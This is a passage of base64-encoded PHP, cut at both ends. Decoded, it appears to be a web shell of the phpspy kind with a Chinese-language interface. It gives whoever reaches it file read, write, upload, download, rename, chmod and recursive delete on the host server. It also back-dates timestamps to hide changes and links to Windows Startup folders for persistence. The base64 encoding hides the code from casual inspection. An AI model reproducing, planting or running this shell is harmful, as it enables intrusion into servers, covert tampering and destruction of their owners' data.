vc2UoJGhhbmRsZSk7CglyZXR1cm4gJGZpbGVjb2RlOwp9CgpmdW5jdGlvbiBGaWxlX1dyaXRlKCRmaWxlbmFtZSwkZmlsZWNvZGUsJGZpbGVtb2RlKQp7Cgkka2V5ID0gdHJ1ZTsKCSRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCRmaWxlbW9kZSk7CglpZighQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkpCgl7CgkJQGNobW9kKCRmaWxlbmFtZSwwNjY2KTsKCQkka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkgPyB0cnVlIDogZmFsc2U7Cgl9CglAZmNsb3NlKCRoYW5kbGUpOwoJcmV0dXJuICRrZXk7Cn0KCmZ1bmN0aW9uIEZpbGVfVXAoJGZpbGVhLCRmaWxlYikKewoJJGtleSA9IEBjb3B5KCRmaWxlYSwkZmlsZWIpID8gdHJ1ZSA6IGZhbHNlOwoJaWYoISRrZXkpICRrZXkgPSBAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlYSwkZmlsZWIpID8gdHJ1ZSA6IGZhbHNlOwoJcmV0dXJuICRrZXk7Cn0KCmZ1bmN0aW9uIEZpbGVfRG93bigkZmlsZW5hbWUpCnsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZW5hbWUpKSByZXR1cm4gZmFsc2U7CgkkZmlsZWRvd24gPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJJGFycmF5ID0gZXhwbG9kZSgnLicsICRmaWxlZG93bik7CgkkYXJyYXllbmQgPSBhcnJheV9wb3AoJGFycmF5KTsKCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsKCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWRvd24pOwoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkZmlsZW5hbWUpKTsKCUByZWFkZmlsZSgkZmlsZW5hbWUpOwoJZXhpdDsKfQoKZnVuY3Rpb24gRmlsZV9EZWx0cmVlKCRkZWxkaXIpCnsKCWlmKCgkbXlkaXIgPSBAb3BlbmRpcigkZGVsZGlyKSkgPT0gTlVMTCkgcmV0dXJuIGZhbHNlOwkKCXdoaWxlKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkbXlkaXIpKSkKCXsKCQkkbmFtZSA9IEZpbGVfU3RyKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQlpZigoaXNfZGlyKCRuYW1lKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpe0BjaG1vZCgkbmFtZSwwNzc3KTtGaWxlX0RlbHRyZWUoJG5hbWUpO30KCQlpZihpc19maWxlKCRuYW1lKSl7QGNobW9kKCRuYW1lLDA3NzcpO0B1bmxpbmsoJG5hbWUpO30KCX0gCglAY2xvc2VkaXIoJG15ZGlyKTsKCUBjaG1vZCgkZGVsZGlyLDA3NzcpOwoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IHRydWUgOiBmYWxzZTsKfQoKZnVuY3Rpb24gRmlsZV9BY3QoJGFycmF5LCRhY3RhbGwsJGludmVyKQp7CglpZigoJGNvdW50ID0gY291bnQoJGFycmF5KSkgPT0gMCkgcmV0dXJuICfH69Gh1PHOxLz+JzsKCWlmKCRhY3RhbGwgPT0gJ2UnKQoJewoJCSR6aXAgPSBuZXcgcGFja2RpcjsKCQlpZigkemlwLT5wYWNrZGlyKCRhcnJheSkpeyRzcGlkZXIgPSAkemlwLT5vdXQ7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24iKTtoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHNwaWRlcikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii4kaW52ZXIuIjsiKTtlY2hvICRzcGlkZXI7ZXhpdDt9CgkJcmV0dXJuICe08rD8y/nRoc7EvP7Kp7DcJzsKCX0KCSRpID0gMDsKCXdoaWxlKCRpIDwgJGNvdW50KQoJewoJCSRhcnJheVskaV0gPSB1cmxkZWNvZGUoJGFycmF5WyRpXSk7CgkJc3dpdGNoKCRhY3RhbGwpCgkJewoJCQljYXNlICJhIiA6ICRpbnZlciA9IHVybGRlY29kZSgkaW52ZXIpOyBpZighaXNfZGlyKCRpbnZlcikpIHJldHVybiAnwre+trTtzvMnOyAkZmlsZW5hbWUgPSBhcnJheV9wb3AoZXhwbG9kZSgnLycsJGFycmF5WyRpXSkpOyBAY29weSgkYXJyYXlbJGldLEZpbGVfU3RyKCRpbnZlci4nLycuJGZpbGVuYW1lKSk7ICRtc2cgPSAnuLTWxrW9Jy4kaW52ZXIuJ8S/wrwnOyBicmVhazsKCQkJY2FzZSAiYiIgOiBpZighQHVubGluaygkYXJyYXlbJGldKSl7QGNobW9kKCRmaWxlbmFtZSwwNjY2KTtAdW5saW5rKCRhcnJheVskaV0pO30gJG1zZyA9ICfJvrP9JzsgYnJlYWs7CgkJCWNhc2UgImMiIDogaWYoIWVyZWdpKCJeWzAtN117NH0kIiwkaW52ZXIpKSByZXR1cm4gJ8r00NTWtbTtzvMnOyAkbmV3bW9kZSA9IGJhc2VfY29udmVydCgkaW52ZXIsOCwxMCk7IEBjaG1vZCgkYXJyYXlbJGldLCRuZXdtb2RlKTsgJG1zZyA9ICfK9NDU0N64xM6qJy4kaW52ZXI7IGJyZWFrOwoJCQljYXNlICJkIiA6IEB0b3VjaCgkYXJyYXlbJGldLHN0cnRvdGltZSgkaW52ZXIpKTsgJG1zZyA9ICfQ3rjEyrG85M6qJy4kaW52ZXI7IGJyZWFrOwoJCX0KCQkkaSsrOwoJfQoJcmV0dXJuICfL+dGhzsS8/icuJG1zZy4nzeqxzyc7Cn0KCmZ1bmN0aW9uIEZpbGVfRWRpdCgkZmlsZXBhdGgsJGZpbGVuYW1lLCRkaW0gPSAnJykKewoJJFRISVNfRElSID0gdXJsZW5jb2RlKCRmaWxlcGF0aCk7CgkkVEhJU19GSUxFID0gRmlsZV9TdHIoJGZpbGVwYXRoLicvJy4kZmlsZW5hbWUpOwoJaWYoZmlsZV9leGlzdHMoJFRISVNfRklMRSkpeyRGSUxFX1RJTUUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkVEhJU19GSUxFKSk7JEZJTEVfQ09ERSA9IGh0bWxzcGVjaWFsY2hhcnMoRmlsZV9SZWFkKCRUSElTX0ZJTEUpKTt9CgllbHNlIHskRklMRV9USU1FID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyx0aW1lKCkpOyRGSUxFX0NPREUgPSAnJzt9CnByaW50PDw8RU5ECjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgp2YXIgTlM0ID0gKGRvY3VtZW50LmxheWVycyk7CnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsKdmFyIHdpbiA9IHRoaXM7CnZhciBuID0gMDsKZnVuY3Rpb24gc2VhcmNoKHN0cil7Cgl2YXIgdHh0LCBpLCBmb3VuZDsKCWlmKHN0ciA9PSAiIilyZXR1cm4gZmFsc2U7CglpZihOUzQpewoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsKCQlpZihuID09IDApIGFsZXJ0KHN0ciArICIgLi4uIE5vdC1GaW5kIikKCX0KCWlmKElFNCl7CgkJdHh0ID0gd2luLmRvY3VtZW50LmJvZHkuY3JlYXRlVGV4dFJhbmdlKCk7CgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspewoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsKCQkJdHh0Lm1vdmVFbmQoInRleHRlZGl0IikKCQl9CgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQoJCWVsc2V7aWYgKG4gPiAwKXtuID0gMDtzZWFyY2goc3RyKX1lbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKX0KCX0KCXJldHVybiBmYWxzZQp9CmZ1bmN0aW9uIENoZWNrRGF0ZSgpewoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ210aW1lJykudmFsdWU7Cgl2YXIgcmVnID0gL14oXFxkezEsNH0pKC18XFwvKShcXGR7MSwyfSlcXDIoXFxkezEsMn0pIChcXGR7MSwyfSk6KFxcZHsxLDJ9KTooXFxkezEsMn0pJC87IAoJdmFyIHIgPSByZS5tYXRjaChyZWcpOwoJaWYocj09bnVsbCl7YWxlcnQoJ8jVxtq48cq9srvV/ci3Ibjxyr06eXl5eS1tbS1kZCBoaDptbTpzcycpO3JldHVybiBmYWxzZTt9CgllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3InKS5zdWJtaXQoKTt9Cn0KPC9zY3JpcHQ+CjxkaXYgY2xhc3M9ImFjdGFsbCI+sunV0sTayN06IDxpbnB1dCBuYW1lPSJzZWFyY2hzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRkaW19IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrLp1dIiIG9uY2xpY2s9InNlYXJjaChzZWFyY2hzLnZhbHVlKSI+PC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvciIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwZm4iIHZhbHVlPSJ7JFRISVNfRklMRX0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJwZmMiIGlkIHN0eWxlPSJ3aWR0aDo3NTBweDtoZWlnaHQ6MzgwcHg7Ij57JEZJTEVfQ09ERX08L3RleHRhcmVhPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPs7EvP7Q3rjEyrG85CA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXRpbWUiIGlkPSJtdGltZSIgdmFsdWU9InskRklMRV9USU1FfSIgc3R5bGU9IndpZHRoOjE1MHB4OyI+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrGjtOYiIG9uY2xpY2s9IkNoZWNrRGF0ZSgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9YSZwPXskVEhJU19ESVJ9JzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+CjwvZm9ybT4KRU5EOwp9CgpmdW5jdGlvbiBGaWxlX1NvdXAoJHApCnsKCSRUSElTX0RJUiA9IHVybGVuY29kZSgkcCk7CgkkVVBfU0laRSA9IGdldF9jZmdfdmFyKCd1cGxvYWRfbWF4X2ZpbGVzaXplJyk7CgkkTVNHX0JPWCA9ICe1pbj2uL28/tTK0O2089ChOicuJFVQX1NJWkUuJywguMTD+7jxyr0obmV3LnBocCksyOfOqr/VLNTysaOz1tStzsS8/sP7Lic7CglpZighZW1wdHkoJF9QT1NUWyd1cGRpciddKSkKCXsKCQlpZihjb3VudCgkX0ZJTEVTWydzb3VwJ10pID49IDEpCgkJewoJCQkkaSA9IDA7CgkJCWZvcmVhY2ggKCRfRklMRVNbJ3NvdXAnXVsnZXJyb3InXSBhcyAka2V5ID0+ICRlcnJvcikKCQkJewoJCQkJaWYgKCRlcnJvciA9PSBVUExPQURfRVJSX09LKQoJCQkJewoJCQkJCSRzb3VwdG1wID0gJF9GSUxFU1snc291cCddWyd0bXBfbmFtZSddWyRrZXldOwoJCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3JldXAnXVskaV0pKSRzb3VwbmFtZSA9ICRfUE9TVFsncmV1cCddWyRpXTsgZWxzZSAkc291cG5hbWUgPSAkX0ZJTEVTWydzb3VwJ11bJ25hbWUnXVska2V5XTsKCQkJCQkkTVNHWyRpXSA9IEZpbGVfVXAoJHNvdXB0bXAsRmlsZV9TdHIoJF9QT1NUWyd1cGRpciddLicvJy4kc291cG5hbWUpKSA/ICRzb3VwbmFtZS4nyc+0q7PJuaYnIDogJHNvdXBuYW1lLifJz7Sryqew3Cc7CgkJCQl9CgkJCQkkaSsrOwoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCSRNU0dfQk9YID0gJ8fr0aHU8c7EvP4nOwoJCX0KCX0KcHJpbnQ8PDxFTkQKPGRpdiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvciIgYWN0aW9uPSI/cz1xJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsnPtKu1vcS/wrw6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cGRpciIgdmFsdWU9InskcH0iIHN0eWxlPSJ3aWR0aDo1MzFweDtoZWlnaHQ6MjJweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4xIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzBdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4yIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzFdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4zIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzJdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP40IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzNdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP41IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzRdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP42IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzVdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP43IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzZdIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP44IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzddIDwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLJz7SrIiBzdHlsZT0id2lkdGg6ODBweDsiPiA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0it7W72CIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/cz1hJnA9eyRUSElTX0RJUn0nOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7Cn0KCmZ1bmN0aW9uIEZpbGVfYSgkcCkKewoJaWYoISRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAkR0VUVVJMID0gJyc7IGVsc2UgJEdFVFVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4nLyc7CgkkTVNHX0JPWCA9ICe1yLT9z/vPorbTwdAnOwoJJFVQX0RJUiA9IHVybGVuY29kZShGaWxlX1N0cigkcC4nLy4uJykpOwoJJFJFQUxfRElSID0gRmlsZV9TdHIocmVhbHBhdGgoJHApKTsKCSRGSUxFX0RJUiA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsKCSRST09UX0RJUiA9IEZpbGVfTW9kZSgpOwoJJFRISVNfRElSID0gdXJsZW5jb2RlKEZpbGVfU3RyKCRSRUFMX0RJUikpOwoJJE5VTV9EID0gMDsKCSROVU1fRiA9IDA7CglpZighZW1wdHkoJF9QT1NUWydwZm4nXSkpeyRpbnRpbWUgPSBAc3RydG90aW1lKCRfUE9TVFsnbXRpbWUnXSk7JE1TR19CT1ggPSBGaWxlX1dyaXRlKCRfUE9TVFsncGZuJ10sJF9QT1NUWydwZmMnXSwnd2InKSA/ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyCzybmmJyA6ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyDKp7DcJztAdG91Y2goJF9QT1NUWydwZm4nXSwkaW50aW1lKTt9CglpZighZW1wdHkoJF9GSUxFU1sndWZwJ11bJ25hbWUnXSkpe2lmKCRfUE9TVFsndWZuJ10gIT0gJycpICR1cGZpbGVuYW1lID0gJF9QT1NUWyd1Zm4nXTsgZWxzZSAkdXBmaWxlbmFtZSA9ICRfRklMRVNbJ3VmcCddWyduYW1lJ107JE1TR19CT1ggPSBGaWxlX1VwKCRfRklMRVNbJ3VmcCddWyd0bXBfbmFtZSddLEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJHVwZmlsZW5hbWUpKSA/ICfJz7SrzsS8/iAnLiR1cGZpbGVuYW1lLicgs8m5picgOiAnyc+0q87EvP4gJy4kdXBmaWxlbmFtZS4nIMqnsNwnO30KCWlmKCFlbXB0eSgkX1BPU1RbJ2FjdGFsbCddKSl7JE1TR19CT1ggPSBGaWxlX0FjdCgkX1BPU1RbJ2ZpbGVzJ10sJF9QT1NUWydhY3RhbGwnXSwkX1BPU1RbJ2ludmVyJ10pO30KCWlmKGlzc2V0KCRfR0VUWydtZCddKSl7JG1vZGZpbGUgPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydtayddKTsgaWYoIWVyZWdpKCJeWzAtN117NH0kIiwkX0dFVFsnbWQnXSkpICRNU0dfQk9YID0gJ8r00NTWtbTtzvMnOyBlbHNlICRNU0dfQk9YID0gQGNobW9kKCRtb2RmaWxlLGJhc2VfY29udmVydCgkX0dFVFsnbWQnXSw4LDEwKSkgPyAn0N64xCAnLiRtb2RmaWxlLicgyvTQ1M6qICcuJF9HRVRbJ21kJ10uJyCzybmmJyA6ICfQ3rjEICcuJG1vZGZpbGUuJyDK9NDUzqogJy4kX0dFVFsnbWQnXS4nIMqnsNwnO30KCWlmKGlzc2V0KCRfR0VUWydtbiddKSl7JE1TR19CT1ggPSBAcmVuYW1lKEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ21uJ10pLEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJF9HRVRbJ3JuJ10pKSA/ICe4xMP7ICcuJF9HRVRbJ21uJ10uJyDOqiAnLiRfR0VUWydybiddLicgs8m5picgOiAnuMTD+yAnLiRfR0VUWydtbiddLicgzqogJy4kX0dFVFsncm4nXS4nIMqnsNwnO30KCWlmKGlzc2V0KCRfR0VUWydkbiddKSl7JE1TR19CT1ggPSBAbWtkaXIoRmlsZV9TdHIoJFJFQUxfRElSLicvJy4kX0dFVFsnZG4nXSksMDc3NykgPyAntLS9qMS/wrwgJy4kX0dFVFsnZG4nXS4nILPJuaYnIDogJ7S0vajEv8K8ICcuJF9HRVRbJ2RuJ10uJyDKp7DcJzt9CglpZihpc3NldCgkX0dFVFsnZGQnXSkpeyRNU0dfQk9YID0gRmlsZV9EZWx0cmVlKCRfR0VUWydkZCddKSA/ICfJvrP9xL/CvCAnLiRfR0VUWydkZCddLicgs8m5picgOiAnyb6z/cS/wrwgJy4kX0dFVFsnZGQnXS4nIMqnsNwnO30KCWlmKGlzc2V0KCRfR0VUWydkZiddKSl7aWYoIUZpbGVfRG93bigkX0dFVFsnZGYnXSkpICRNU0dfQk9YID0gJ8/C1NjOxLz+sru05tTaJzt9CglSb290X0NTUygpOwpwcmludDw8PEVORAo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CglmdW5jdGlvbiBJbnB1dG9rKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIrWxx7DOxLz+OlsiICsgbXNnICsgIl0iOwoJCXJlID0gcHJvbXB0KHNtc2csdW5lc2NhcGUobXNnKSk7CgkJaWYocmUpCgkJewoJCQl2YXIgdXJsID0gZ291cmwgKyBlc2NhcGUocmUpOwoJCQl3aW5kb3cubG9jYXRpb24gPSB1cmw7CgkJfQoJfQoJZnVuY3Rpb24gRGVsb2sobXNnLGdvdXJsKQoJewoJCXNtc2cgPSAiyLe2qNKqyb6z/VsiICsgdW5lc2NhcGUobXNnKSArICJdwvA/IjsKCQlpZihjb25maXJtKHNtc2cpKQoJCXsKCQkJaWYoZ291cmwgPT0gJ2InKQoJCQl7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0YWxsJykudmFsdWUgPSBlc2NhcGUoZ291cmwpOwoJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsKCQkJfQoJCQllbHNlIHdpbmRvdy5sb2NhdGlvbiA9IGdvdXJsOwoJCX0KCX0KCWZ1bmN0aW9uIENoZWNrRGF0ZShtc2csZ291cmwpCgl7CgkJc21zZyA9ICK1scewzsS8/sqxvOQ6WyIgKyBtc2cgKyAiXSI7CgkJcmUgPSBwcm9tcHQoc21zZyxtc2cpOwoJCWlmKHJlKQoJCXsKCQkJdmFyIHVybCA9IGdvdXJsICsgcmU7CgkJCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsgCgkJCXZhciByID0gcmUubWF0Y2gocmVnKTsKCQkJaWYocj09bnVsbCl7YWxlcnQoJ8jVxtq48cq9srvV/ci3Ibjxyr06eXl5eS1tbS1kZCBoaDptbTpzcycpO3JldHVybiBmYWxzZTt9CgkJCWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGFsbCcpLnZhbHVlID0gZ291cmw7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnZlcicpLnZhbHVlID0gcmU7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlYWxsJykuc3VibWl0KCk7fQoJCX0KCX0KCWZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pCgl7CgkJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJewoJCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07CgkJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpCgkJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CgkJfQoJfQoJZnVuY3Rpb24gU3VibWl0VXJsKG1zZyx0eHQsYWN0aWQpCgl7CgkJcmUgPSBwcm9tcHQobXNnLHVuZXNjYXBlKHR4dCkpOwoJCWlmKHJlKQoJCXsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGFsbCcpLnZhbHVlID0gYWN0aWQ7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnZlcicpLnZhbHVlID0gZXNjYXBlKHJlKTsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsKCQl9Cgl9Cjwvc2NyaXB0PgoJPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+Cgk8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjNweDsiPgoJPGZvcm0gbWV0aG9kPSJHRVQiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJzIiBuYW1lPSJzIiB2YWx1ZT0iYSI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icCIgdmFsdWU9InskUkVBTF9ESVJ9IiBzdHlsZT0id2lkdGg6NTUwcHg7aGVpZ2h0OjIycHg7Ij4KCTxzZWxlY3Qgb25jaGFuZ2U9ImxvY2F0aW9uLmhyZWY9Jz9zPWEmcD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUiPgoJPG9wdGlvbj4tLS3M2MrixL/CvC0tLTwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0ieyRST09UX0RJUn0iPiDN+NW+uPnEv8K8IDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0ieyRGSUxFX0RJUn0iPiCxvrPM0PLEv8K8IDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9BbGwgVXNlcnMvobi/qsq8obmyy7WlL7PM0PIvxvS2ryI+IMv509DX6cb0tq/P7iA8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IkM6L0RvY3VtZW50cyBhbmQgU2V0dGluZ3MvQWxsIFVzZXJzL1N0YXJ0IE1lbnUvUHJvZ3JhbXMvU3RhcnR1cCI+INOizsTG9Lavz+4gPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJDOi9SRUNZQ0xFUiI+IFJFQ1lDTEVSIDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iQzovUHJvZ3JhbSBGaWxlcyI+IFByb2dyYW0gRmlsZXMgPC9vcHRpb24+Cgk8L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Iteqtb0iIHN0eWxlPSJ3aWR0aDo1MHB4OyI+PC9mb3JtPgoJPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDozcHg7Ij48L2Rpdj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItDCvajOxLz+IiBvbmNsaWNrPSJJbnB1dG9rKCduZXdmaWxlLnBocCcsJz9zPXAmZnA9eyRUSElTX0RJUn0mZm49Jyk7Ij4KCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLQwr2oxL/CvCIgb25jbGljaz0iSW5wdXRvaygnbmV3ZGlyJywnP3M9YSZwPXskVEhJU19ESVJ9J